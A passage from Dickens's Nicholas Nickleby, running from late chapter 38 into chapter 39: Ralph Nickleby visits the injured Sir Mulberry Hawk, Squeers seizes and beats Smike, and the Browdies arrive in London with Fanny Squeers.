+unexpectedly encounters a very old Friend, who invites him to his +House, and will take no Denial + + +Quite unconscious of the demonstrations of their amorous +neighbour, or their effects upon the susceptible bosom of her +mama, Kate Nickleby had, by this time, begun to enjoy a settled +feeling of tranquillity and happiness, to which, even in +occasional and transitory glimpses, she had long been a stranger. +Living under the same roof with the beloved brother from whom she +had been so suddenly and hardly separated: with a mind at ease, +and free from any persecutions which could call a blush into her +cheek, or a pang into her heart, she seemed to have passed into a +new state of being. Her former cheerfulness was restored, her +step regained its elasticity and lightness, the colour which had +forsaken her cheek visited it once again, and Kate Nickleby looked +more beautiful than ever. + +Such was the result to which Miss La Creevy's ruminations and +observations led her, when the cottage had been, as she +emphatically said, 'thoroughly got to rights, from the chimney- +pots to the street-door scraper,' and the busy little woman had at +length a moment's time to think about its inmates. + +'Which I declare I haven't had since I first came down here,' said +Miss La Creevy; 'for I have thought of nothing but hammers, nails, +screwdrivers, and gimlets, morning, noon, and night.' + +'You never bestowed one thought upon yourself, I believe,' +returned Kate, smiling. + +'Upon my word, my dear, when there are so many pleasanter things +to think of, I should be a goose if I did,' said Miss La Creevy. +'By-the-bye, I HAVE thought of somebody too. Do you know, that I +observe a great change in one of this family--a very extraordinary +change?' + +'In whom?' asked Kate, anxiously. 'Not in--' + +'Not in your brother, my dear,' returned Miss La Creevy, +anticipating the close of the sentence, 'for he is always the same +affectionate good-natured clever creature, with a spice of the--I +won't say who--in him when there's any occasion, that he was when +I first knew you. No. Smike, as he WILL be called, poor fellow! +for he won't hear of a MR before his name, is greatly altered, +even in this short time.' + +'How?' asked Kate. 'Not in health?' + +'N--n--o; perhaps not in health exactly,' said Miss La Creevy, +pausing to consider, 'although he is a worn and feeble creature, +and has that in his face which it would wring my heart to see in +yours. No; not in health.' + +'How then?' + +'I scarcely know,' said the miniature painter. 'But I have +watched him, and he has brought the tears into my eyes many times. +It is not a very difficult matter to do that, certainly, for I am +easily melted; still I think these came with good cause and +reason. I am sure that since he has been here, he has grown, from +some strong cause, more conscious of his weak intellect. He feels +it more. It gives him greater pain to know that he wanders +sometimes, and cannot understand very simple things. I have +watched him when you have not been by, my dear, sit brooding by +himself, with such a look of pain as I could scarcely bear to see, +and then get up and leave the room: so sorrowfully, and in such +dejection, that I cannot tell you how it has hurt me. Not three +weeks ago, he was a light-hearted busy creature, overjoyed to be +in a bustle, and as happy as the day was long. Now, he is another +being--the same willing, harmless, faithful, loving creature--but +the same in nothing else.' + +'Surely this will all pass off,' said Kate. 'Poor fellow!' + +'I hope,' returned her little friend, with a gravity very unusual +in her, 'it may. I hope, for the sake of that poor lad, it may. +However,' said Miss La Creevy, relapsing into the cheerful, +chattering tone, which was habitual to her, 'I have said my say, +and a very long say it is, and a very wrong say too, I shouldn't +wonder at all. I shall cheer him up tonight, at all events, for +if he is to be my squire all the way to the Strand, I shall talk +on, and on, and on, and never leave off, till I have roused him +into a laugh at something. So the sooner he goes, the better for +him, and the sooner I go, the better for me, I am sure, or else I +shall have my maid gallivanting with somebody who may rob the +house--though what there is to take away, besides tables and +chairs, I don't know, except the miniatures: and he is a clever +thief who can dispose of them to any great advantage, for I can't, +I know, and that's the honest truth.' + +So saying, little Miss La Creevy hid her face in a very flat +bonnet, and herself in a very big shawl; and fixing herself +tightly into the latter, by means of a large pin, declared that +the omnibus might come as soon as it pleased, for she was quite +ready. + +But there was still Mrs Nickleby to take leave of; and long before +that good lady had concluded some reminiscences bearing upon, and +appropriate to, the occasion, the omnibus arrived. This put Miss +La Creevy in a great bustle, in consequence whereof, as she +secretly rewarded the servant girl with eighteen-pence behind the +street-door, she pulled out of her reticule ten-pennyworth of +halfpence, which rolled into all possible corners of the passage, +and occupied some considerable time in the picking up. This +ceremony had, of course, to be succeeded by a second kissing of +Kate and Mrs Nickleby, and a gathering together of the little +basket and the brown-paper parcel, during which proceedings, 'the +omnibus,' as Miss La Creevy protested, 'swore so dreadfully, that +it was quite awful to hear it.' At length and at last, it made a +feint of going away, and then Miss La Creevy darted out, and +darted in, apologising with great volubility to all the +passengers, and declaring that she wouldn't purposely have kept +them waiting on any account whatever. While she was looking about +for a convenient seat, the conductor pushed Smike in, and cried +that it was all right--though it wasn't--and away went the huge +vehicle, with the noise of half-a-dozen brewers' drays at least. + +Leaving it to pursue its journey at the pleasure of the conductor +aforementioned, who lounged gracefully on his little shelf +behind, smoking an odoriferous cigar; and leaving it to stop, or +go on, or gallop, or crawl, as that gentleman deemed expedient and +advisable; this narrative may embrace the opportunity of +ascertaining the condition of Sir Mulberry Hawk, and to what +extent he had, by this time, recovered from the injuries +consequent on being flung violently from his cabriolet, under the +circumstances already detailed. + +With a shattered limb, a body severely bruised, a face disfigured +by half-healed scars, and pallid from the exhaustion of recent +pain and fever, Sir Mulberry Hawk lay stretched upon his back, on +the couch to which he was doomed to be a prisoner for some weeks +yet to come. Mr Pyke and Mr Pluck sat drinking hard in the next +room, now and then varying the monotonous murmurs of their +conversation with a half-smothered laugh, while the young lord-- +the only member of the party who was not thoroughly irredeemable, +and who really had a kind heart--sat beside his Mentor, with a +cigar in his mouth, and read to him, by the light of a lamp, such +scraps of intelligence from a paper of the day, as were most +likely to yield him interest or amusement. + +'Curse those hounds!' said the invalid, turning his head +impatiently towards the adjoining room; 'will nothing stop their +infernal throats?' + +Messrs Pyke and Pluck heard the exclamation, and stopped +immediately: winking to each other as they did so, and filling +their glasses to the brim, as some recompense for the deprivation +of speech. + +'Damn!' muttered the sick man between his teeth, and writhing +impatiently in his bed. 'Isn't this mattress hard enough, and the +room dull enough, and pain bad enough, but THEY must torture me? +What's the time?' + +'Half-past eight,' replied his friend. + +'Here, draw the table nearer, and let us have the cards again,' +said Sir Mulberry. 'More piquet. Come.' + +It was curious to see how eagerly the sick man, debarred from any +change of position save the mere turning of his head from side to +side, watched every motion of his friend in the progress of the +game; and with what eagerness and interest he played, and yet how +warily and coolly. His address and skill were more than twenty +times a match for his adversary, who could make little head +against them, even when fortune favoured him with good cards, +which was not often the case. Sir Mulberry won every game; and +when his companion threw down the cards, and refused to play any +longer, thrust forth his wasted arm and caught up the stakes with +a boastful oath, and the same hoarse laugh, though considerably +lowered in tone, that had resounded in Ralph Nickleby's dining- +room, months before. + +While he was thus occupied, his man appeared, to announce that Mr +Ralph Nickleby was below, and wished to know how he was, tonight. + +'Better,' said Sir Mulberry, impatiently. + +'Mr Nickleby wishes to know, sir--' + +'I tell you, better,' replied Sir Mulberry, striking his hand upon +the table. + +The man hesitated for a moment or two, and then said that Mr +Nickleby had requested permission to see Sir Mulberry Hawk, if it +was not inconvenient. + +'It IS inconvenient. I can't see him. I can't see anybody,' said +his master, more violently than before. 'You know that, you +blockhead.' + +'I am very sorry, sir,' returned the man. 'But Mr Nickleby +pressed so much, sir--' + +The fact was, that Ralph Nickleby had bribed the man, who, being +anxious to earn his money with a view to future favours, held the +door in his hand, and ventured to linger still. + +'Did he say whether he had any business to speak about?' inquired +Sir Mulberry, after a little impatient consideration. + +'No, sir. He said he wished to see you, sir. Particularly, Mr +Nickleby said, sir.' + +'Tell him to come up. Here,' cried Sir Mulberry, calling the man +back, as he passed his hand over his disfigured face, 'move that +lamp, and put it on the stand behind me. Wheel that table away, +and place a chair there--further off. Leave it so.' + +The man obeyed these directions as if he quite comprehended the +motive with which they were dictated, and left the room. Lord +Frederick Verisopht, remarking that he would look in presently, +strolled into the adjoining apartment, and closed the folding door +behind him. + +Then was heard a subdued footstep on the stairs; and Ralph +Nickleby, hat in hand, crept softly into the room, with his body +bent forward as if in profound respect, and his eyes fixed upon +the face of his worthy client. + +'Well, Nickleby,' said Sir Mulberry, motioning him to the chair by +the couch side, and waving his hand in assumed carelessness, 'I +have had a bad accident, you see.' + +'I see,' rejoined Ralph, with the same steady gaze. 'Bad, indeed! +I should not have known you, Sir Mulberry. Dear, dear! This IS +bad.' + +Ralph's manner was one of profound humility and respect; and the +low tone of voice was that, which the gentlest consideration for a +sick man would have taught a visitor to assume. But the +expression of his face, Sir Mulberry's being averted, was in +extraordinary contrast; and as he stood, in his usual attitude, +calmly looking on the prostrate form before him, all that part of +his features which was not cast into shadow by his protruding and +contracted brows, bore the impress of a sarcastic smile. + +'Sit down,' said Sir Mulberry, turning towards him, as though by a +violent effort. 'Am I a sight, that you stand gazing there?' + +As he turned his face, Ralph recoiled a step or two, and making as +though he were irresistibly impelled to express astonishment, but +was determined not to do so, sat down with well-acted confusion. + +'I have inquired at the door, Sir Mulberry, every day,' said +Ralph, 'twice a day, indeed, at first--and tonight, presuming upon +old acquaintance, and past transactions by which we have mutually +benefited in some degree, I could not resist soliciting admission +to your chamber. Have you--have you suffered much?' said Ralph, +bending forward, and allowing the same harsh smile to gather upon +his face, as the other closed his eyes. + +'More than enough to please me, and less than enough to please +some broken-down hacks that you and I know of, and who lay their +ruin between us, I dare say,' returned Sir Mulberry, tossing his +arm restlessly upon the coverlet. + +Ralph shrugged his shoulders in deprecation of the intense +irritation with which this had been said; for there was an +aggravating, cold distinctness in his speech and manner which so +grated on the sick man that he could scarcely endure it. + +'And what is it in these "past transactions," that brought you +here tonight?' asked Sir Mulberry. + +'Nothing,' replied Ralph. 'There are some bills of my lord's +which need renewal; but let them be till you are well. I--I-- +came,' said Ralph, speaking more slowly, and with harsher +emphasis, 'I came to say how grieved I am that any relative of +mine, although disowned by me, should have inflicted such +punishment on you as--' + +'Punishment!' interposed Sir Mulberry. + +'I know it has been a severe one,' said Ralph, wilfully mistaking +the meaning of the interruption, 'and that has made me the more +anxious to tell you that I disown this vagabond--that I +acknowledge him as no kin of mine--and that I leave him to take +his deserts from you, and every man besides. You may wring his +neck if you please. I shall not interfere.' + +'This story that they tell me here, has got abroad then, has it?' +asked Sir Mulberry, clenching his hands and teeth. + +'Noised in all directions,' replied Ralph. 'Every club and +gaming-room has rung with it. There has been a good song made +about it, as I am told,' said Ralph, looking eagerly at his +questioner. 'I have not heard it myself, not being in the way of +such things, but I have been told it's even printed--for private +circulation--but that's all over town, of course.' + +'It's a lie!' said Sir Mulberry; 'I tell you it's all a lie. The +mare took fright.' + +'They SAY he frightened her,' observed Ralph, in the same unmoved +and quiet manner. 'Some say he frightened you, but THAT'S a lie, +I know. I have said that boldly--oh, a score of times! I am a +peaceable man, but I can't hear folks tell that of you. No, no.' + +When Sir Mulberry found coherent words to utter, Ralph bent +forward with his hand to his ear, and a face as calm as if its +every line of sternness had been cast in iron. + +'When I am off this cursed bed,' said the invalid, actually +striking at his broken leg in the ecstasy of his passion, 'I'll +have such revenge as never man had yet. By God, I will. Accident +favouring him, he has marked me for a week or two, but I'll put a +mark on him that he shall carry to his grave. I'll slit his nose +and ears, flog him, maim him for life. I'll do more than that; +I'll drag that pattern of chastity, that pink of prudery, the +delicate sister, through--' + +It might have been that even Ralph's cold blood tingled in his +cheeks at that moment. It might have been that Sir Mulberry +remembered, that, knave and usurer as he was, he must, in some +early time of infancy, have twined his arm about her father's +neck. He stopped, and menacing with his hand, confirmed the +unuttered threat with a tremendous oath. + +'It is a galling thing,' said Ralph, after a short term of +silence, during which he had eyed the sufferer keenly, 'to think +that the man about town, the rake, the ROUE, the rook of twenty +seasons should be brought to this pass by a mere boy!' + +Sir Mulberry darted a wrathful look at him, but Ralph's eyes were +bent upon the ground, and his face wore no other expression than +one of thoughtfulness. + +'A raw, slight stripling,' continued Ralph, 'against a man whose +very weight might crush him; to say nothing of his skill in--I am +right, I think,' said Ralph, raising his eyes, 'you WERE a patron +of the ring once, were you not?' + +The sick man made an impatient gesture, which Ralph chose to +consider as one of acquiescence. + +'Ha!' he said, 'I thought so. That was before I knew you, but I +was pretty sure I couldn't be mistaken. He is light and active, I +suppose. But those were slight advantages compared with yours. +Luck, luck! These hang-dog outcasts have it.' + +'He'll need the most he has, when I am well again,' said Sir +Mulberry Hawk, 'let him fly where he will.' + +'Oh!' returned Ralph quickly, 'he doesn't dream of that. He is +here, good sir, waiting your pleasure, here in London, walking the +streets at noonday; carrying it off jauntily; looking for you, I +swear,' said Ralph, his face darkening, and his own hatred getting +the upper hand of him, for the first time, as this gay picture of +Nicholas presented itself; 'if we were only citizens of a country +where it could be safely done, I'd give good money to have him +stabbed to the heart and rolled into the kennel for the dogs to +tear.' + +As Ralph, somewhat to the surprise of his old client, vented this +little piece of sound family feeling, and took up his hat +preparatory to departing, Lord Frederick Verisopht looked in. + +'Why what in the deyvle's name, Hawk, have you and Nickleby been +talking about?' said the young man. 'I neyver heard such an +insufferable riot. Croak, croak, croak. Bow, wow, wow. What has +it all been about?' + +'Sir Mulberry has been angry, my Lord,' said Ralph, looking +towards the couch. + +'Not about money, I hope? Nothing has gone wrong in business, has +it, Nickleby?' + +'No, my Lord, no,' returned Ralph. 'On that point we always +agree. Sir Mulberry has been calling to mind the cause of--' + +There was neither necessity nor opportunity for Ralph to proceed; +for Sir Mulberry took up the theme, and vented his threats and +oaths against Nicholas, almost as ferociously as before. + +Ralph, who was no common observer, was surprised to see that as +this tirade proceeded, the manner of Lord Frederick Verisopht, +who at the commencement had been twirling his whiskers with a most +dandified and listless air, underwent a complete alteration. He +was still more surprised when, Sir Mulberry ceasing to speak, the +young lord angrily, and almost unaffectedly, requested never to +have the subject renewed in his presence. + +'Mind that, Hawk!' he added, with unusual energy. 'I never will +be a party to, or permit, if I can help it, a cowardly attack upon +this young fellow.' + +'Cowardly!' interrupted his friend. + +'Ye-es,' said the other, turning full upon him. 'If you had told +him who you were; if you had given him your card, and found out, +afterwards, that his station or character prevented your fighting +him, it would have been bad enough then; upon my soul it would +have been bad enough then. As it is, you did wrong. I did wrong +too, not to interfere, and I am sorry for it. What happened to +you afterwards, was as much the consequence of accident as design, +and more your fault than his; and it shall not, with my knowledge, +be cruelly visited upon him, it shall not indeed.' + +With this emphatic repetition of his concluding words, the young +lord turned upon his heel; but before he had reached the adjoining +room he turned back again, and said, with even greater vehemence +than he had displayed before, + +'I do believe, now; upon my honour I do believe, that the sister +is as virtuous and modest a young lady as she is a handsome one; +and of the brother, I say this, that he acted as her brother +should, and in a manly and spirited manner. And I only wish, with +all my heart and soul, that any one of us came out of this matter +half as well as he does.' + +So saying, Lord Frederick Verisopht walked out of the room, +leaving Ralph Nickleby and Sir Mulberry in most unpleasant +astonishment. + +'Is this your pupil?' asked Ralph, softly, 'or has he come fresh +from some country parson?' + +'Green fools take these fits sometimes,' replied Sir Mulberry +Hawk, biting his lip, and pointing to the door. 'Leave him to +me.' + +Ralph exchanged a familiar look with his old acquaintance; for +they had suddenly grown confidential again in this alarming +surprise; and took his way home, thoughtfully and slowly. + +While these things were being said and done, and long before they +were concluded, the omnibus had disgorged Miss La Creevy and her +escort, and they had arrived at her own door. Now, the good- +nature of the little miniature painter would by no means allow of +Smike's walking back again, until he had been previously refreshed +with just a sip of something comfortable and a mixed biscuit or +so; and Smike, entertaining no objection either to the sip of +something comfortable, or the mixed biscuit, but, considering on +the contrary that they would be a very pleasant preparation for a +walk to Bow, it fell out that he delayed much longer than he +originally intended, and that it was some half-hour after dusk +when he set forth on his journey home. + +There was no likelihood of his losing his way, for it lay quite +straight before him, and he had walked into town with Nicholas, +and back alone, almost every day. So, Miss La Creevy and he shook +hands with mutual confidence, and, being charged with more kind +remembrances to Mrs and Miss Nickleby, Smike started off. + +At the foot of Ludgate Hill, he turned a little out of the road to +satisfy his curiosity by having a look at Newgate. After staring +up at the sombre walls, from the opposite side of the way, with +great care and dread for some minutes, he turned back again into +the old track, and walked briskly through the city; stopping now +and then to gaze in at the window of some particularly +attractive shop, then running for a little way, then stopping +again, and so on, as any other country lad might do. + +He had been gazing for a long time through a jeweller's window, +wishing he could take some of the beautiful trinkets home as a +present, and imagining what delight they would afford if he could, +when the clocks struck three-quarters past eight; roused by the +sound, he hurried on at a very quick pace, and was crossing the +corner of a by-street when he felt himself violently brought to, +with a jerk so sudden that he was obliged to cling to a lamp-post +to save himself from falling. At the same moment, a small boy +clung tight round his leg, and a shrill cry of 'Here he is, +father! Hooray!' vibrated in his ears. + +Smike knew that voice too well. He cast his despairing eyes +downward towards the form from which it had proceeded, and, +shuddering from head to foot, looked round. Mr Squeers had +hooked him in the coat collar with the handle of his umbrella, +and was hanging on at the other end with all his might and main. +The cry of triumph proceeded from Master Wackford, who, regardless +of all his kicks and struggles, clung to him with the tenacity of +a bull-dog! + +One glance showed him this; and in that one glance the terrified +creature became utterly powerless and unable to utter a sound. + +'Here's a go!' cried Mr Squeers, gradually coming hand-over-hand +down the umbrella, and only unhooking it when he had got tight +hold of the victim's collar. 'Here's a delicious go! Wackford, my +boy, call up one of them coaches.' + +'A coach, father!' cried little Wackford. + +'Yes, a coach, sir,' replied Squeers, feasting his eyes upon the +countenance of Smike. 'Damn the expense. Let's have him in a +coach.' + +'What's he been a doing of?' asked a labourer with a hod of +bricks, against whom and a fellow-labourer Mr Squeers had backed, +on the first jerk of the umbrella. + +'Everything!' replied Mr Squeers, looking fixedly at his old pupil +in a sort of rapturous trance. 'Everything--running away, sir-- +joining in bloodthirsty attacks upon his master--there's nothing +that's bad that he hasn't done. Oh, what a delicious go is this +here, good Lord!' + +The man looked from Squeers to Smike; but such mental faculties as +the poor fellow possessed, had utterly deserted him. The coach +came up; Master Wackford entered; Squeers pushed in his prize, and +following close at his heels, pulled up the glasses. The coachman +mounted his box and drove slowly off, leaving the two bricklayers, +and an old apple-woman, and a town-made little boy returning from +an evening school, who had been the only witnesses of the scene, +to meditate upon it at their leisure. + +Mr Squeers sat himself down on the opposite seat to the +unfortunate Smike, and, planting his hands firmly on his knees, +looked at him for some five minutes, when, seeming to recover from +his trance, he uttered a loud laugh, and slapped his old pupil's +face several times--taking the right and left sides alternately. + +'It isn't a dream!' said Squeers. 'That's real flesh and blood! I +know the feel of it!' and being quite assured of his good fortune +by these experiments, Mr Squeers administered a few boxes on the +ear, lest the entertainments should seem to partake of sameness, +and laughed louder and longer at every one. + +'Your mother will be fit to jump out of her skin, my boy, when she +hears of this,' said Squeers to his son. + +'Oh, won't she though, father?' replied Master Wackford. + +'To think,' said Squeers, 'that you and me should be turning out +of a street, and come upon him at the very nick; and that I should +have him tight, at only one cast of the umbrella, as if I had +hooked him with a grappling-iron! Ha, ha!' + +'Didn't I catch hold of his leg, neither, father?' said little +Wackford. + +'You did; like a good 'un, my boy,' said Mr Squeers, patting his +son's head, 'and you shall have the best button-over jacket and +waistcoat that the next new boy brings down, as a reward of merit. +Mind that. You always keep on in the same path, and do them +things that you see your father do, and when you die you'll go +right slap to Heaven and no questions asked.' + +Improving the occasion in these words, Mr Squeers patted his son's +head again, and then patted Smike's--but harder; and inquired in a +bantering tone how he found himself by this time. + +'I must go home,' replied Smike, looking wildly round. + +'To be sure you must. You're about right there,' replied Mr +Squeers. 'You'll go home very soon, you will. You'll find +yourself at the peaceful village of Dotheboys, in Yorkshire, in +something under a week's time, my young friend; and the next time +you get away from there, I give you leave to keep away. Where's +the clothes you run off in, you ungrateful robber?' said Mr +Squeers, in a severe voice. + +Smike glanced at the neat attire which the care of Nicholas had +provided for him; and wrung his hands. + +'Do you know that I could hang you up, outside of the Old Bailey, +for making away with them articles of property?' said Squeers. 'Do +you know that it's a hanging matter--and I an't quite certain +whether it an't an anatomy one besides--to walk off with up'ards +of the valley of five pound from a dwelling-house? Eh? Do you +know that? What do you suppose was the worth of them clothes you +had? Do you know that that Wellington boot you wore, cost eight- +and-twenty shillings when it was a pair, and the shoe seven-and- +six? But you came to the right shop for mercy when you came to +me, and thank your stars that it IS me as has got to serve you +with the article.' + +Anybody not in Mr Squeers's confidence would have supposed that he +was quite out of the article in question, instead of having a +large stock on hand ready for all comers; nor would the opinion of +sceptical persons have undergone much alteration when he followed +up the remark by poking Smike in the chest with the ferrule of his +umbrella, and dealing a smart shower of blows, with the ribs of +the same instrument, upon his head and shoulders. + +'I never threshed a boy in a hackney coach before,' said Mr +Squeers, when he stopped to rest. 'There's inconveniency in it, +but the novelty gives it a sort of relish, too!' + +Poor Smike! He warded off the blows, as well as he could, and now +shrunk into a corner of the coach, with his head resting on his +hands, and his elbows on his knees; he was stunned and stupefied, +and had no more idea that any act of his, would enable him to +escape from the all-powerful Squeers, now that he had no friend to +speak to or to advise with, than he had had in all the weary years +of his Yorkshire life which preceded the arrival of Nicholas. + +The journey seemed endless; street after street was entered and +left behind; and still they went jolting on. At last Mr Squeers +began to thrust his head out of the widow every half-minute, and +to bawl a variety of directions to the coachman; and after +passing, with some difficulty, through several mean streets which +the appearance of the houses and the bad state of the road denoted +to have been recently built, Mr Squeers suddenly tugged at the +check string with all his might, and cried, 'Stop!' + +'What are you pulling a man's arm off for?' said the coachman +looking angrily down. + +'That's the house,' replied Squeers. 'The second of them four +little houses, one story high, with the green shutters. There's +brass plate on the door, with the name of Snawley.' + +'Couldn't you say that without wrenching a man's limbs off his +body?' inquired the coachman. + +'No!' bawled Mr Squeers. 'Say another word, and I'll summons you +for having a broken winder. Stop!' + +Obedient to this direction, the coach stopped at Mr Snawley's +door. Mr Snawley may be remembered as the sleek and sanctified +gentleman who confided two sons (in law) to the parental care of +Mr Squeers, as narrated in the fourth chapter of this history. +Mr Snawley's house was on the extreme borders of some new +settlements adjoining Somers Town, and Mr Squeers had taken +lodgings therein for a short time, as his stay was longer than +usual, and the Saracen, having experience of Master Wackford's +appetite, had declined to receive him on any other terms than as a +full-grown customer. + +'Here we are!' said Squeers, hurrying Smike into the little +parlour, where Mr Snawley and his wife were taking a lobster +supper. 'Here's the vagrant--the felon--the rebel--the monster +of unthankfulness.' + +'What! The boy that run away!' cried Snawley, resting his knife +and fork upright on the table, and opening his eyes to their full +width. + +'The very boy', said Squeers, putting his fist close to Smike's +nose, and drawing it away again, and repeating the process several +times, with a vicious aspect. 'If there wasn't a lady present, I'd +fetch him such a--: never mind, I'll owe it him.' + +And here Mr Squeers related how, and in what manner, and when and +where, he had picked up the runaway. + +'It's clear that there has been a Providence in it, sir,' said Mr +Snawley, casting down his eyes with an air of humility, and +elevating his fork, with a bit of lobster on the top of it, +towards the ceiling. + +'Providence is against him, no doubt,' replied Mr Squeers, +scratching his nose. 'Of course; that was to be expected. Anybody +might have known that.' + +'Hard-heartedness and evil-doing will never prosper, sir,' said Mr +Snawley. + +'Never was such a thing known,' rejoined Squeers, taking a little +roll of notes from his pocket-book, to see that they were all +safe. + +'I have been, Mr Snawley,' said Mr Squeers, when he had satisfied +himself upon this point, 'I have been that chap's benefactor, +feeder, teacher, and clother. I have been that chap's classical, +commercial, mathematical, philosophical, and trigonomical friend. +My son--my only son, Wackford--has been his brother; Mrs Squeers +has been his mother, grandmother, aunt,--ah! and I may say uncle +too, all in one. She never cottoned to anybody, except them two +engaging and delightful boys of yours, as she cottoned to this +chap. What's my return? What's come of my milk of human kindness? +It turns into curds and whey when I look at him.' + +'Well it may, sir,' said Mrs Snawley. 'Oh! Well it may, sir.' + +'Where has he been all this time?' inquired Snawley. 'Has he been +living with--?' + +'Ah, sir!' interposed Squeers, confronting him again. 'Have you +been a living with that there devilish Nickleby, sir?' + +But no threats or cuffs could elicit from Smike one word of reply +to this question; for he had internally resolved that he would +rather perish in the wretched prison to which he was again about +to be consigned, than utter one syllable which could involve his +first and true friend. He had already called to mind the strict +injunctions of secrecy as to his past life, which Nicholas had +laid upon him when they travelled from Yorkshire; and a confused +and perplexed idea that his benefactor might have committed some +terrible crime in bringing him away, which would render him liable +to heavy punishment if detected, had contributed, in some degree, +to reduce him to his present state of apathy and terror. + +Such were the thoughts--if to visions so imperfect and undefined +as those which wandered through his enfeebled brain, the term can +be applied--which were present to the mind of Smike, and rendered +him deaf alike to intimidation and persuasion. Finding every +effort useless, Mr Squeers conducted him to a little back room +up-stairs, where he was to pass the night; and, taking the +precaution of removing his shoes, and coat and waistcoat, and also +of locking the door on the outside, lest he should muster up +sufficient energy to make an attempt at escape, that worthy +gentleman left him to his meditations. + +What those meditations were, and how the poor creature's heart +sunk within him when he thought--when did he, for a moment, cease +to think?--of his late home, and the dear friends and familiar +faces with which it was associated, cannot be told. To prepare the +mind for such a heavy sleep, its growth must be stopped by rigour +and cruelty in childhood; there must be years of misery and +suffering, lightened by no ray of hope; the chords of the heart, +which beat a quick response to the voice of gentleness and +affection, must have rusted and broken in their secret places, and +bear the lingering echo of no old word of love or kindness. +Gloomy, indeed, must have been the short day, and dull the long, +long twilight, preceding such a night of intellect as his. + +There were voices which would have roused him, even then; but +their welcome tones could not penetrate there; and he crept to bed +the same listless, hopeless, blighted creature, that Nicholas had +first found him at the Yorkshire school. + + + +CHAPTER 39 + +In which another old Friend encounters Smike, very opportunely and +to some Purpose + + +The night, fraught with so much bitterness to one poor soul, had +given place to a bright and cloudless summer morning, when a north- +country mail-coach traversed, with cheerful noise, the yet silent +streets of Islington, and, giving brisk note of its approach with +the lively winding of the guard's horn, clattered onward to its +halting-place hard by the Post Office. + +The only outside passenger was a burly, honest-looking countryman on +the box, who, with his eyes fixed upon the dome of St Paul's +Cathedral, appeared so wrapt in admiring wonder, as to be quite +insensible to all the bustle of getting out the bags and parcels, +until one of the coach windows being let sharply down, he looked +round, and encountered a pretty female face which was just then +thrust out. + +'See there, lass!' bawled the countryman, pointing towards the +object of his admiration. 'There be Paul's Church. 'Ecod, he be a +soizable 'un, he be.' + +'Goodness, John! I shouldn't have thought it could have been half +the size. What a monster!' + +'Monsther!--Ye're aboot right theer, I reckon, Mrs Browdie,' said +the countryman good-humouredly, as he came slowly down in his huge +top-coat; 'and wa'at dost thee tak yon place to be noo--thot'un +owor the wa'? Ye'd never coom near it 'gin you thried for twolve +moonths. It's na' but a Poast Office! Ho! ho! They need to charge +for dooble-latthers. A Poast Office! Wa'at dost thee think o' +thot? 'Ecod, if thot's on'y a Poast Office, I'd loike to see where +the Lord Mayor o' Lunnun lives.' + +So saying, John Browdie--for he it was--opened the coach-door, and +tapping Mrs Browdie, late Miss Price, on the cheek as he looked in, +burst into a boisterous fit of laughter. + +'Weel!' said John. 'Dang my bootuns if she bean't asleep agean!' + +'She's been asleep all night, and was, all yesterday, except for a +minute or two now and then,' replied John Browdie's choice, 'and I +was very sorry when she woke, for she has been SO cross!' + +The subject of these remarks was a slumbering figure, so muffled in +shawl and cloak, that it would have been matter of impossibility to +guess at its sex but for a brown beaver bonnet and green veil which +ornamented the head, and which, having been crushed and flattened, +for two hundred and fifty miles, in that particular angle of the +vehicle from which the lady's snores now proceeded, presented an +appearance sufficiently ludicrous to have moved less risible muscles +than those of John Browdie's ruddy face. + +'Hollo!' cried John, twitching one end of the dragged veil. 'Coom, +wakken oop, will 'ee?' + +After several burrowings into the old corner, and many exclamations +of impatience and fatigue, the figure struggled into a sitting +posture; and there, under a mass of crumpled beaver, and surrounded +by a semicircle of blue curl-papers, were the delicate features of +Miss Fanny Squeers. + +'Oh, 'Tilda!' cried Miss Squeers, 'how you have been kicking of me +through this blessed night!' + +'Well, I do like that,' replied her friend, laughing, 'when you have +had nearly the whole coach to yourself.' + +'Don't deny it, 'Tilda,' said Miss Squeers, impressively, 'because +you have, and it's no use to go attempting to say you haven't. You +mightn't have known it in your sleep, 'Tilda, but I haven't closed +my eyes for a single wink, and so I THINK I am to be believed.' + +With which reply, Miss Squeers adjusted the bonnet and veil, which +nothing but supernatural interference and an utter suspension of +nature's laws could have reduced to any shape or form; and evidently +flattering herself that it looked uncommonly neat, brushed off the +sandwich-crumbs and bits of biscuit which had accumulated in her +lap, and availing herself of John Browdie's proffered arm, descended +from the coach. + +'Noo,' said John, when a hackney coach had been called, and the +ladies and the luggage hurried in, 'gang to the Sarah's Head, mun.' + +'To the VERE?' cried the coachman. + +'Lawk, Mr Browdie!' interrupted Miss Squeers. 'The idea! Saracen's +Head.' + +'Sure-ly,' said John, 'I know'd it was something aboot Sarah's Son's +Head. Dost thou know thot?' + +'Oh, ah! I know that,' replied the coachman gruffly, as he banged +the door. + +''Tilda, dear, really,' remonstrated Miss Squeers, 'we shall be +taken for I don't know what.' + +'Let them tak' us as they foind us,' said John Browdie; 'we dean't +come to Lunnun to do nought but 'joy oursel, do we?' + +'I hope not, Mr Browdie,' replied Miss Squeers, looking singularly +dismal. + +'Well, then,' said John, 'it's no matther. I've only been a married +man fower days, 'account of poor old feyther deein, and puttin' it +off. Here be a weddin' party--broide and broide's-maid, and the +groom--if a mun dean't 'joy himsel noo, when ought he, hey? Drat it +all, thot's what I want to know.' + +So, in order that he might begin to enjoy himself at once, and lose +no time, Mr Browdie gave his wife a hearty kiss, and succeeded in +wresting another from Miss Squeers, after a maidenly resistance of +scratching and struggling on the part of that young lady, which was +not quite over when they reached the Saracen's Head. + +Here, the party straightway retired to rest; the refreshment of +sleep being necessary after so long a journey; and here they met +again about noon, to a substantial breakfast, spread by direction of +Mr John Browdie, in a small private room upstairs commanding an +uninterrupted view of the stables. + +To have seen Miss Squeers now, divested of the brown beaver, the +green veil, and the blue curl-papers, and arrayed in all the virgin +splendour of a white frock and spencer, with a white muslin bonnet, +and an imitative damask rose in full bloom on the inside thereof-- +her luxuriant crop of hair arranged in curls so tight that it was +impossible they could come out by any accident, and her bonnet-cap +trimmed with little damask roses, which might be supposed to be so +many promising scions of the big rose--to have seen all this, and to +have seen the broad damask belt, matching both the family rose and +the little roses, which encircled her slender waist, and by a happy +ingenuity took off from the shortness of the spencer behind,--to +have beheld all this, and to have taken further into account the +coral bracelets (rather short of beads, and with a very visible +black string) which clasped her wrists, and the coral necklace which +rested on her neck, supporting, outside her frock, a lonely +cornelian heart, typical of her own disengaged affections--to have +contemplated all these mute but expressive appeals to the purest +feelings of our nature, might have thawed the frost of age, and +added new and inextinguishable fuel to the fire of youth. + +The waiter was touched. Waiter as he was, he had human passions and +feelings, and he looked very hard at Miss Squeers as he handed the +muffins. + +'Is my pa in, do you know?' asked Miss Squeers with dignity. + +'Beg your 